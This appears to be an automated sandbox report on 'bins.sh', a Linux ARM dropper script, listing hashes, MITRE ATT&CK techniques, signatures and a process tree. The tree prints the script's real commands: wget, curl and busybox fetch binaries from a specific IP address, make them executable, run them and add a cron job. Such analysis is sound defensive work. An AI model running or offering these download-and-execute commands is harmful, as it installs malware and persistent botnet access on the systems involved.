8d6701b66f6d5e2f19a450e764fd9f305021b2504b7e9ef41c1800ac442549af

Analysis

max time kernel
150s
max time network
151s
platform
debian-9_armhf
resource
debian9-armhf-20240729-en
resource tags

arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
23-11-2024 19:47

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General

Target

bins.sh
Size

10KB
MD5

1af48b59e54a461d801c58a2e6f2853e
SHA1

d8ce0cc7e067bbcc17e7f02651135515cac789e0
SHA256

8d6701b66f6d5e2f19a450e764fd9f305021b2504b7e9ef41c1800ac442549af
SHA512

984eab328dd823233835ab7ec678a632f3ad7671948c58ee5dceba6e0045e15f937a944c47263608dde996c12ab3284cb1230616d9e179db3332f0612c898eab
SSDEEP

96:FhFtmK6NFXTn4C+dwkev3JSIxj4P8wkev3JUIxCI5mK6NFtdf42BhF3Cci:8Tn4C+dwkev3JSKFwkev3J4W

Score

9^/10

antivm defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Contacts a large (2035) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 4 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
684	chmod
730	chmod
762	chmod
776	chmod

Executes dropped EXE 4 IoCs

ioc	pid	Process
/tmp/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN	685	hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
/tmp/h8thNalBVsVsZGzxShbyd3BrADft88FHF5	731	h8thNalBVsVsZGzxShbyd3BrADft88FHF5
/tmp/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3	763	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
/tmp/2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1	777	2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1

Renames itself 1 IoCs

pid	Process
778	2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.dROggO	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 4 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/864/cmdline	2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
File opened for reading	/proc/875/cmdline	2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
File opened for reading	/proc/24/cmdline	2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
File opened for reading	/proc/28/cmdline	2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
File opened for reading	/proc/799/cmdline	2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
File opened for reading	/proc/860/cmdline	2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
File opened for reading	/proc/964/cmdline	2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
File opened for reading	/proc/994/cmdline	2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
File opened for reading	/proc/1000/cmdline	2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
File opened for reading	/proc/1009/cmdline	2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
File opened for reading	/proc/791/cmdline	2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
File opened for reading	/proc/800/cmdline	2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
File opened for reading	/proc/808/cmdline	2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
File opened for reading	/proc/903/cmdline	2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
File opened for reading	/proc/1016/cmdline	2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
File opened for reading	/proc/2/cmdline	2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
File opened for reading	/proc/26/cmdline	2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
File opened for reading	/proc/783/cmdline	2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
File opened for reading	/proc/975/cmdline	2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
File opened for reading	/proc/841/cmdline	2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
File opened for reading	/proc/934/cmdline	2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
File opened for reading	/proc/952/cmdline	2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
File opened for reading	/proc/29/cmdline	2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
File opened for reading	/proc/164/cmdline	2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
File opened for reading	/proc/858/cmdline	2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
File opened for reading	/proc/922/cmdline	2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
File opened for reading	/proc/942/cmdline	2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
File opened for reading	/proc/1017/cmdline	2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
File opened for reading	/proc/1022/cmdline	2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
File opened for reading	/proc/8/cmdline	2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
File opened for reading	/proc/877/cmdline	2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
File opened for reading	/proc/919/cmdline	2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
File opened for reading	/proc/965/cmdline	2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
File opened for reading	/proc/1034/cmdline	2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
File opened for reading	/proc/804/cmdline	2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
File opened for reading	/proc/829/cmdline	2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
File opened for reading	/proc/963/cmdline	2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
File opened for reading	/proc/974/cmdline	2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
File opened for reading	/proc/1004/cmdline	2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
File opened for reading	/proc/1029/cmdline	2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/13/cmdline	2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
File opened for reading	/proc/844/cmdline	2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
File opened for reading	/proc/1028/cmdline	2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
File opened for reading	/proc/789/cmdline	2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
File opened for reading	/proc/992/cmdline	2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
File opened for reading	/proc/995/cmdline	2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
File opened for reading	/proc/838/cmdline	2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
File opened for reading	/proc/895/cmdline	2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
File opened for reading	/proc/901/cmdline	2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
File opened for reading	/proc/16/cmdline	2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
File opened for reading	/proc/796/cmdline	2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
File opened for reading	/proc/806/cmdline	2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
File opened for reading	/proc/982/cmdline	2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
File opened for reading	/proc/300/cmdline	2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
File opened for reading	/proc/886/cmdline	2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
File opened for reading	/proc/945/cmdline	2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
File opened for reading	/proc/75/cmdline	2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
File opened for reading	/proc/645/cmdline	2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
File opened for reading	/proc/939/cmdline	2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
File opened for reading	/proc/646/cmdline	2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
File opened for reading	/proc/878/cmdline	2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
File opened for reading	/proc/879/cmdline	2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
File opened for reading	/proc/924/cmdline	2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN	busybox
File opened for modification	/tmp/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3	curl
File opened for modification	/tmp/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3	busybox
File opened for modification	/tmp/2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1	curl
File opened for modification	/tmp/2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1	busybox
File opened for modification	/tmp/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN	wget
File opened for modification	/tmp/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN	curl
File opened for modification	/tmp/h8thNalBVsVsZGzxShbyd3BrADft88FHF5	wget
File opened for modification	/tmp/h8thNalBVsVsZGzxShbyd3BrADft88FHF5	curl
File opened for modification	/tmp/h8thNalBVsVsZGzxShbyd3BrADft88FHF5	busybox
File opened for modification	/tmp/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3	wget
File opened for modification	/tmp/2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:647
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:649
- /usr/bin/wget
  wget http://216.126.231.240/bins/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
  2⤵
  - Writes file to tmp directory
  PID:651
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:676
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
  2⤵
  - Writes file to tmp directory
  PID:677
- /bin/chmod
  chmod 777 hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
  2⤵
  - File and Directory Permissions Modification
  PID:684
- /tmp/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
  ./hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
  2⤵
  - Executes dropped EXE
  PID:685
- /bin/rm
  rm hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
  2⤵
  PID:687
- /usr/bin/wget
  wget http://216.126.231.240/bins/h8thNalBVsVsZGzxShbyd3BrADft88FHF5
  2⤵
  - Writes file to tmp directory
  PID:689
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/h8thNalBVsVsZGzxShbyd3BrADft88FHF5
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:709
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/h8thNalBVsVsZGzxShbyd3BrADft88FHF5
  2⤵
  - Writes file to tmp directory
  PID:727
- /bin/chmod
  chmod 777 h8thNalBVsVsZGzxShbyd3BrADft88FHF5
  2⤵
  - File and Directory Permissions Modification
  PID:730
- /tmp/h8thNalBVsVsZGzxShbyd3BrADft88FHF5
  ./h8thNalBVsVsZGzxShbyd3BrADft88FHF5
  2⤵
  - Executes dropped EXE
  PID:731
- /bin/rm
  rm h8thNalBVsVsZGzxShbyd3BrADft88FHF5
  2⤵
  PID:733
- /usr/bin/wget
  wget http://216.126.231.240/bins/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
  2⤵
  - Writes file to tmp directory
  PID:734
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:738
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
  2⤵
  - Writes file to tmp directory
  PID:754
- /bin/chmod
  chmod 777 qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
  2⤵
  - File and Directory Permissions Modification
  PID:762
- /tmp/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
  ./qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
  2⤵
  - Executes dropped EXE
  PID:763
- /bin/rm
  rm qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
  2⤵
  PID:766
- /usr/bin/wget
  wget http://216.126.231.240/bins/2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
  2⤵
  - Writes file to tmp directory
  PID:767
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:774
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
  2⤵
  - Writes file to tmp directory
  PID:775
- /bin/chmod
  chmod 777 2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
  2⤵
  - File and Directory Permissions Modification
  PID:776
- /tmp/2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
  ./2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:777
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:779
  - - /usr/bin/crontab
      crontab -l
      4⤵
      Reads runtime system information
      PID:780
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:781
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:782
- /bin/rm
  rm 2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
  2⤵
  PID:784
- /usr/bin/wget
  wget http://216.126.231.240/bins/tVUZen854UwlSjqMByJgMVogO5RprLxy9j
  2⤵
  PID:787

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1

Filesize
141KB

MD5
3ca8decdb1e52c423c521bfff02ac200

SHA1
8621ecd6807109b8541912ad9e134f6fb49bfd48

SHA256
dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

SHA512
b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

Download Submit
/tmp/h8thNalBVsVsZGzxShbyd3BrADft88FHF5

Filesize
117KB

MD5
849fa04ef88a8e8de32cb2e8538de5fe

SHA1
c768af29fe4b6695fff1541623e8bbd1c6f242f7

SHA256
8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

SHA512
2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

Download Submit
/tmp/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN

Filesize
111KB

MD5
ca897a38f23ec23521ce0b1b83f8422d

SHA1
b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

SHA256
043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

SHA512
10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

Download Submit
/tmp/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/var/spool/cron/crontabs/tmp.dROggO

Filesize
210B

MD5
38a7d7522adbff9e73684b1f745fa2d5

SHA1
35e7794719b53349dc764c99d7057dcc40b3eb8a

SHA256
6444393a216d0e61e5d6f6b965f3e973403ab91738b6fb6f48e166d14b4a846f

SHA512
3cb4594b6a0dbc8b8c3b3cd946545a08cf00a7741bf9b7090bc31145e990bfad108786da305b3556057e4f0be45dd87dccfac71d0c311d5df7a0b3a91174a335

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads